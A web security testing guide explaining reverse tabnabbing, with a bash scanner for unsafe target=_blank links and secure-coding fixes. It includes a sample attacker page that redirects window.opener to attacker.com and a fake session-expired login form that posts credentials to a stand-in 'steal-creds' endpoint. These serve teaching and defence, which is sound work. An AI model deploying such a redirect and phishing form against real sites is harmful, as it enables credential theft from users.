Reverse Tabnabbing is a phishing attack where a malicious page opened via target="_blank" can modify the opener page's location through window.opener. This can redirect users to a phishing page while they believe they're still on the original site.
What to Check
Links with target="_blank"
rel="noopener noreferrer" attribute
window.open() calls without noopener
User-generated links
Dynamic link creation
How to Test
Step 1: Identify Vulnerable Links
#!/bin/bash
TARGET="https://target.com"# Find links with target="_blank"echo"[*] Finding target=_blank links..."
curl -s "$TARGET" | grep -oP '<a[^>]*target=["\']_blank["\'][^>]*>' | while read -r link; do
echo "Link: $link"
if ! echo "$link" | grep -qi 'rel="[^"]*noopener'; then
echo " [!] Missing noopener"
fi
if ! echo "$link" | grep -qi 'rel="[^"]*noreferrer'; then
echo " [!] Missing noreferrer"
fi
done
<!-- attacker.html - Hosted on attacker's site --><!DOCTYPE html><html><head><title>News Article</title></head><body><h1>Interesting Content</h1><p>This is a legitimate-looking page...</p><script>// Attack: Redirect opener to phishing pageif (window.opener) {
// Method 1: Direct location changewindow.opener.location = "https://attacker.com/phishing.html"// Method 2: Gradual replacement (stealthier)// setTimeout(function() {// window.opener.location = 'https://attacker.com/session-expired.html';// }, 5000);
}
</script></body></html><!-- phishing.html - Fake login page --><!DOCTYPE html><html><head><title>Session Expired - Please Login</title><!-- Copy target site's styles --></head><body><h1>Your session has expired</h1><formaction="https://attacker.com/steal-creds"method="POST"><inputtype="text"name="username"placeholder="Username" /><inputtype="password"name="password"placeholder="Password" /><buttontype="submit">Login</button></form></body></html>
Tools
Tool
Purpose
Browser DevTools
Inspect link attributes
Burp Suite
Analyze page content
Custom Scripts
Automated scanning
HTML Validators
Check rel attributes
Remediation
<!-- SECURE: Always use rel="noopener noreferrer" --><ahref="https://external.com"target="_blank"rel="noopener noreferrer"> External Link </a><!-- For internal links, noopener alone is sufficient --><ahref="/internal-page"target="_blank"rel="noopener"> Internal Link </a>
// SECURE: window.open with noopenerfunctionopenSecure(url) {
// Method 1: Use noopener in features stringwindow.open(url, "_blank", "noopener,noreferrer")
}
// Method 2: Null out opener after openingfunctionopenSecureAlt(url) {
const newWindow = window.open(url, "_blank")
if (newWindow) {
newWindow.opener = null
}
}
// SECURE: Dynamic link creationfunctioncreateSecureLink(url, text) {
const link = document.createElement("a")
link.href = url
link.target = "_blank"
link.rel = "noopener noreferrer"
link.textContent = text
return link
}